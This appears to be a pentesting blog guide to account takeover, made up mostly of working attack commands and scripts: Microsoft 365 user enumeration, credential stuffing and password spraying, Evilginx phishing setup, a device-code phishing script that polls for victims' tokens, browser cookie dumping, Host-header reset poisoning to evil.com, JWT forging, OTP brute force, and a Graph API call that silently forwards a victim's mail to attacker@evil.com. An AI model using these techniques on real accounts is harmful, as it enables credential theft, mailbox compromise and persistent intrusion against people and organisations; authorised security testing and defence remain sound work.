Account Takeover: Offensive Techniques for Pentesters (2026)

Learn Account Takeover (ATO) techniques for pentesters and red teams. Discover how to bypass MFA, steal tokens, and compromise accounts. Complete guide 2026.
- Posted on 2026-06-15
- Reading time: 8 min
Account Takeover: A Complete Guide to Offensive Techniques for Pentesters and Red Teams #
Account takeover (ATO) is the compromise of a legitimate user account. It's the dominant initial access vector in 2026—not because the techniques are new, but because the surface area has expanded enormously: every corporate SaaS, every VPN portal, every admin panel is a potential entry point. In 2026, 65% of compromised accounts had MFA enabled. Attackers no longer try to bypass authentication—they bypass it by stealing the token afterwards.
From a penetration tester's perspective, ATO is a cluster of distinct techniques covering reconnaissance, application exploitation, social engineering, and authentication protocol abuse. This guide covers them all.
Pre-ATO Reconnaissance #
Before any compromise attempt, the intelligence phase collects the attack surface, exposed accounts, and leaked credentials.
Account Enumeration #
Understanding whether an account exists before attacking it reduces noise and optimizes attacks.
# Verifica se un'email esiste su Microsoft 365 (tenant enumeration)
# Metodo: oauth2 endpoint risponde diversamente per account validi vs non validi
curl -s "https://login.microsoftonline.com/common/GetCredentialType" \
-X POST -H "Content-Type: application/json" \
-d '{"Username":"target@company.com"}' | python3 -m json.tool
# "IfExistsResult":1 → account esiste
# "IfExistsResult":0 → account non esiste
# o365spray — enumerazione massiva su M365
o365spray --enum -U userlist.txt --domain company.com
# Microsoft Entra (ex Azure AD) user enumeration
curl "https://autologon.microsoftazuread-sso.com/TENANT_ID/winauth/sso?client-request-id=..." \
-d "UserName=user@company.com&..."# Generazione di possibili username dal nome
# es: John Smith → jsmith, john.smith, smithj, jsmith@company.com
# Tool: username-anarchy
python3 username-anarchy.py --list-formats John SmithSearch for Leaked Credentials #
Before performing credential stuffing, check to see if any target-specific leaks already exist.
# haveibeenpwned API
curl "https://haveibeenpwned.com/api/v3/breachedaccount/target@company.com" \
-H "hibp-api-key: YOUR_KEY"
# dehashed — ricerca per dominio
# (interfaccia web o API a pagamento)
# Telegram e forum underground — cerca manualmente per dominio
# "combolist company.com", "@company.com"
# Verifica esposizione su leak pubblici
grep "@company.com" leaked_database.txt | cut -d: -f1,2Credential stuffing #
Password reuse remains the leading cause of breaches. A single breach on a small site exposes credentials that work on dozens of other services.
Tools and Approach #
# ffuf — versatile per qualsiasi form
ffuf -u https://target.com/login \
-X POST \
-d "email=HFUZZ&password=WFUZZ" \
-w emails.txt:HFUZZ \
-w passwords.txt:WFUZZ \
-H "Content-Type: application/x-www-form-urlencoded" \
-mc 302 -fs BASELINE_SIZE \
-t 5 # thread bassi per evitare detection
# Hydra per protocolli multipli
hydra -L users.txt -P passwords.txt -s 443 -S target.com \
https-post-form "/login:email=^USER^&pass=^PASS^:Invalid" \
-t 4 -w 5
# Per API REST con JSON body
ffuf -u https://api.target.com/auth/login \
-X POST \
-H "Content-Type: application/json" \
-d '{"email":"HFUZZ","password":"WFUZZ"}' \
-w emails.txt:HFUZZ \
-w passwords.txt:WFUZZ \
-mc 200 -t 3Rate Limiting Bypass #
Rate limiting is the first line of defense. Classic bypasses rely on the fact that many implementations filter by IP address instead of by account.
# Header per bypassare blocco IP (app che si fidano ciecamente dei proxy header)
X-Forwarded-For: 1.2.3.4 ← cambia ad ogni richiesta
X-Real-IP: 5.6.7.8
X-Originating-IP: 9.10.11.12
True-Client-IP: 13.14.15.16
X-Client-IP: 17.18.19.20# Generatore di IP casuali per header rotation
import random
def random_ip():
return f"{random.randint(1,254)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
headers = {"X-Forwarded-For": random_ip()}Username variants to bypass account blacklists:
admin@company.com
Admin@company.com # uppercase
admin+test@company.com # plus-addressing (ignorato da Gmail/M365)
admin@COMPANY.COM # domain uppercasePassword Spraying on Enterprise Environments #
One attempt for many accounts avoids lockout. This is the most effective vector in non-hardened AD environments.
# Kerbrute — via Kerberos, genera Event 4771 invece di 4625
kerbrute passwordspray -d corp.local --dc DC_IP valid_users.txt 'Summer2026!'
# NetExec — via LDAP (meno monitorato di SMB)
nxc ldap DC_IP -u users.txt -p 'Summer2026!' --continue-on-success
# Per M365 — MSOLSpray
python3 MSOLSpray.py --userlist users.txt --password 'Company2026!' --sleep 60See: Password Spraying
AiTM Phishing: MFA Bypass with Transparent Proxy #
The dominant vector in 2026 for enterprise accounts with MFA. The principle is simple: instead of replicating a static page, the kit acts as a transparent proxy between the victim and the legitimate site. The user completes the actual authentication—including MFA—but the post-authentication session cookie is captured by the proxy.
The session cookie is worth as much as the password + the second factor. Importing it into the attacker's browser completely bypasses authentication.
Evilginx3 #
# Setup iniziale
evilginx3 -p /usr/share/evilginx/phishlets/ -c /root/.evilginx
# Configurazione nella console
config domain phishing-domain.com
config ipv4 SERVER_IP
# Abilita phishlet per M365
phishlets hostname o365 login.phishing-domain.com
phishlets enable o365
# Crea lure (link di phishing)
lures create o365
lures get-url 0
# Monitora le sessioni catturate
sessions
sessions 1 # dettagli sessione con cookiePhishlets for other common targets:
phishlets enable google # Google Workspace
phishlets enable linkedin # LinkedIn
phishlets enable github # GitHub
phishlets enable okta # Okta SSOCookies to import: in M365 search ESTSAUTH e ESTSAUTHPERSISTENTThese two cookies authenticate the session independently of the password and MFA. Import them into a browser with EditThisCookie or Cookie-Editor and you have direct access.
Tycoon 2FA and PhaaS (Phishing-as-a-Service) #
By 2026, kits like Tycoon 2FA, Mamba 2FA, and LabHost will sell AiTM phishing as a service for $200-300/month, including a dashboard, domain, and managed infrastructure. Pentester must be familiar with these platforms to simulate them in red team engagements.
Device Code Phishing (Active Campaign 2025-2026) #
Documented technique actively exploited since December 2025. Leverages the Device Authorization Grant of OAuth 2.0 — the flow designed for browser-less devices (smart TVs, printers, IoT).
1. Attaccante fa una POST a https://login.microsoftonline.com/common/oauth2/v2.0/devicecode
con client_id dell'applicazione Microsoft Teams (o altro client legittimo)
2. Riceve un user_code (es: ABCD-EFGH) e un device_code
3. Invia alla vittima l'URL: https://microsoft.com/devicelogin con istruzioni
per inserire il user_code (sembra legittimo — è il dominio di Microsoft reale)
4. Vittima accede al dominio Microsoft, inserisce il codice, completa MFA
5. Attaccante fa polling su https://login.microsoftonline.com/common/oauth2/v2.0/token
con il device_code → riceve access_token + refresh_token validiimport requests
# Step 1: Ottieni device code
r = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/devicecode",
data={
"client_id": "1950a258-227b-4e31-a9cf-717495945fc2", # Microsoft Azure PowerShell
"scope": "user.read mail.read openid profile"
}
)
data = r.json()
print(f"Invia alla vittima: {data['verification_uri']} con codice {data['user_code']}")
device_code = data['device_code']
# Step 2: Polling per il token (mentre la vittima autorizza)
while True:
token_response = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
data={
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": "1950a258-227b-4e31-a9cf-717495945fc2",
"device_code": device_code
}
)
if "access_token" in token_response.json():
print(token_response.json()["access_token"])
break
time.sleep(5)Session Hijacking: Stealing Already-Issued Tokens #
From Browser on Compromised Host #
# SharpChrome — dump cookie da Chrome/Edge con DPAPI
SharpChrome.exe cookies
SharpChrome.exe cookies /target:edge
SharpChrome.exe cookies /domain:company.com # filtra per dominio
# LaZagne — multi-applicazione
LaZagne.exe browsers# Da Kali — copia database SQLite del browser mentre è aperto
# Chrome
cp "C:\Users\USER\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /tmp/chrome_cookies.db
# Edge
cp "C:\Users\USER\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" /tmp/edge_cookies.db
# Parse con Python
import sqlite3, json
conn = sqlite3.connect("/tmp/chrome_cookies.db")
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, encrypted_value FROM cookies WHERE host_key LIKE '%.company.com'")
for row in cursor.fetchall():
print(row[0], row[1]) # host, cookie name (valore è cifrato con DPAPI)Session Fixation #
If the application does not regenerate the session ID after login, the attacker can pre-set a known session ID, authenticate the victim, and then use that same ID.
1. Attaccante visita /login → riceve PHPSESSID=ATTACKER_KNOWN_VALUE
2. Invia alla vittima link con PHPSESSID=ATTACKER_KNOWN_VALUE nel cookie o URL
3. Vittima si autentica con quel session ID
4. Attaccante ora ha una sessione autenticata con ATTACKER_KNOWN_VALUETest:
# Verifica se il session ID cambia dopo il login
# Prendi session ID prima del login
curl -c cookies_pre.txt https://target.com/login
# Esegui login
curl -b cookies_pre.txt -c cookies_post.txt \
-X POST https://target.com/login \
-d "user=test&pass=pass"
# Confronta session ID: se uguale → session fixation
diff <(grep SESSION cookies_pre.txt) <(grep SESSION cookies_post.txt)Password Reset Poisoning #
The application uses the value of the Host header to construct the password reset URL. If this header is manipulated, the link will point to the attacker's server.
POST /forgot-password HTTP/1.1
Host: evil.com ← modificato in Burp
Content-Type: application/x-www-form-urlencoded
username=victim@target.comThe email received by the victim will contain:
Clicca qui: https://evil.com/reset?token=SECRET_TOKEN
Variants to test:
# X-Forwarded-Host (dietro proxy)
Host: target.com
X-Forwarded-Host: evil.com
# Host con porta custom (alcuni parser ignorano la porta)
Host: evil.com:443
# Doppio Host header
Host: target.com
Host: evil.com
# X-Host header
Host: target.com
X-Host: evil.comChain with cache poisoning: if the page /forgot-password It's cached, poisoning the host header means that all users requesting a reset will do so with links to your server.
OAuth Abuse: Specific Vectors #
redirect_uri manipulation #
# URI non validata strictamente
https://target.com/oauth/authorize?
client_id=APP_ID&
redirect_uri=https://target.com/callback/../../../attacker.com& ← path traversal
response_type=code
# Subdomain takeover come redirect
redirect_uri=https://sub.target.com (se sub. non è controllato da target)
# Open redirect come relay
redirect_uri=https://target.com/redirect?url=https://attacker.comState Parameter Missing (CSRF on OAuth) #
If the parameter state it is not implemented or it is not validated:
1. Attaccante inizia OAuth flow, ferma prima del redirect finale → ha l'URL con code
2. Invia la URL alla vittima (tramite img src, link, ecc.)
3. Il browser della vittima completa il flow con il code dell'attaccante
4. Account della vittima viene collegato all'account dell'attaccanteOAuth Token Leakage via Referer #
If the site redirects to external resources after login and the token is in the URL:
GET /dashboard?access_token=SECRET_TOKEN HTTP/1.1
Referer: https://external-analytics.com/track?page=dashboardThe token is sent in the Referer header to the analytics site.
Implicit Grant Abuse #
The implicit flow (now deprecated but still present) returns the token directly in the URL fragment, exposed to malicious JavaScript on the page.
JWT Manipulation #
JWTs are stateless tokens widely used for API authentication. Specific vulnerabilities:
Algorithm Confusion (alg:none) #
import base64, json
# Header che dichiara nessuna firma richiesta
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).decode().rstrip("=")
# Payload modificato — ruolo elevato
payload = base64.urlsafe_b64encode(
json.dumps({"user": "alice", "role": "admin", "id": 1}).encode()
).decode().rstrip("=")
# Token senza firma
token = f"{header}.{payload}."RS256 → HS256 Confusion #
If the server supports both RS256 and HS256 and uses the public key as the HS256 secret:
# Firma il token con la chiave pubblica dell'applicazione come segreto HMAC
import jwt
with open("public_key.pem", "rb") as f:
pub_key = f.read()
payload = {"user": "alice", "role": "admin"}
# Firma con RS256 → HS256 usando la chiave pubblica come secret
malicious_token = jwt.encode(payload, pub_key, algorithm="HS256")Brute Force of Weak Keys #
# hashcat mode 16500 per JWT
hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
# jwt_tool per analisi e manipulation completa
python3 jwt_tool.py TOKEN -T # test tutti i vettori
python3 jwt_tool.py TOKEN -X a # alg:none attack
python3 jwt_tool.py TOKEN -S hs256 -p "secret" # brute forceSee: JWT
IDOR → ATO Chain #
The most common chain in web assessments. An IDOR on an email or password change endpoint leads directly to ATO.
# Step 1: identifica endpoint di aggiornamento account
PATCH /api/v1/users/1337/profile HTTP/1.1
Authorization: Bearer YOUR_TOKEN
{"email": "you@yours.com"}
# Step 2: modifica l'email di un altro account (IDOR)
PATCH /api/v1/users/1/profile HTTP/1.1 ← id=1 è spesso admin
Authorization: Bearer YOUR_TOKEN
{"email": "attacker@evil.com"}
# Step 3: trigger password reset per id=1
POST /api/v1/auth/forgot-password
{"email": "attacker@evil.com"} ← ora l'email dell'admin è la tua
# Step 4: ricevi token di reset → nuova password → ATO adminSee: IDOR and Broken Access Control
MFA Bypass: Technical Overview #
OTP Brute Force (No Rate Limit) #
import requests, time
session_cookie = "SESSION_AFTER_PASSWORD_STEP"
for code in range(0, 1000000):
r = requests.post(
"https://target.com/verify-otp",
data={"otp": f"{code:06d}"},
cookies={"session": session_cookie},
allow_redirects=False
)
# Successo se redirect o risposta diversa
if r.status_code == 302 or "dashboard" in r.text:
print(f"OTP: {code:06d}")
break
# Gestione rate limit adattiva
if r.status_code == 429:
time.sleep(60)OTP Reuse #
Some systems don't immediately invalidate a used OTP. If you capture a valid OTP (via phishing or intercept), it may be reusable for a few seconds.
MFA Step Skip #
Check if you can skip the MFA step by accessing the post-authentication endpoint directly:
# Dopo il primo step (username+password), normalmente sei a /verify-mfa
# Prova ad accedere direttamente a /dashboard con il cookie del primo step
curl -b "session=SESSION_AFTER_STEP1" https://target.com/dashboardBackup Code Theft #
From compromised browsers, look for MFA backup codes saved in your password manager or files.
# In credential manager Windows
cmdkey /list
# File comuni
find / -name "*.kdbx" -o -name "backup_codes*" -o -name "2fa*" 2>/dev/null
grep -r "backup" ~/.config/ 2>/dev/nullPush Notification Fatigue #
It's not automation—it's social engineering. It triggers dozens of push notifications until the user accepts them by mistake or out of tiredness. Widespread in the Uber (2022), Rockstar Games (2022), and MGM Resorts (2023) breaches.
Post-ATO: What to Do After Access #
Once inside an account, immediate actions determine persistence and lateral movement.
On M365 / Google Workspace #
# Con token OAuth recuperato da Evilginx
# Graph API — lista email
curl -H "Authorization: Bearer ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/messages?$top=10"
# Setup inbox rule per forwarding stealth
curl -X POST -H "Authorization: Bearer ACCESS_TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
-d '{"displayName":"ForwardAll","sequence":1,"isEnabled":true,
"actions":{"forwardTo":[{"emailAddress":{"address":"attacker@evil.com"}}]}}'
# Consenti OAuth app con accesso permanente
# (sopravvive al reset della password!)
curl -X POST -H "Authorization: Bearer ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/oauth2PermissionGrants" \
-d '{"clientId":"...","consentType":"Principal","scope":"Mail.ReadWrite"}'The forwarding rule and OAuth app consent are the two most important post-ATO artifacts to look for in an incident response—and to create if silent persistence is the goal.
Collecting Multiple Accounts From the Same Breach #
Once you have compromised one account, look for other related accounts:
# Accedi ai contatti della vittima → più target per phishing mirato
# Cerca email interne → credential stuffing interno
# Leggi calendari → ingegneria sociale (sapere quando qualcuno è in riunione)
# Cerca password in allegati o email — ancora sorprendentemente comune
grep -r "password\|passwd\|credentials" /tmp/emails/ 2>/dev/nullATO Workflow from Pentest #
1. Ricognizione: email aziendali (LinkedIn, OSINT), leak check, user enum
2. Identifica superficie: OWA/M365, VPN, portal admin, applicazioni SaaS
3. Vettori passivi: credential stuffing con combo leak, password spray (attento alla policy)
4. Vettori applicativi: IDOR su endpoint account, JWT manipulation, OAuth flow, password reset
5. Vettori attivi: AiTM phishing (con Evilginx), device code phishing
6. Post-ATO: setup persistence (inbox rule, OAuth app), raccolta credenziali ulteriori, pivot
7. Documentazione: screenshot accesso, cookie catturati, path sfruttato, impattoRelated Articles #
- Password Spraying
- Phishing e EvilGinx2
- Session Hijacking
- JWT
- IDOR
- Broken Access Control
- OAuth Attack
- credential harvesting
- Reflected XSS
MITER ATT&CK: T1110 (Brute Force), T1539 (Steal Web Session Cookie), T1078 (Valid Accounts), T1111 (Multi-Factor Authentication Interception), T1528 (Steal Application Access Token), T1566 (Phishing)








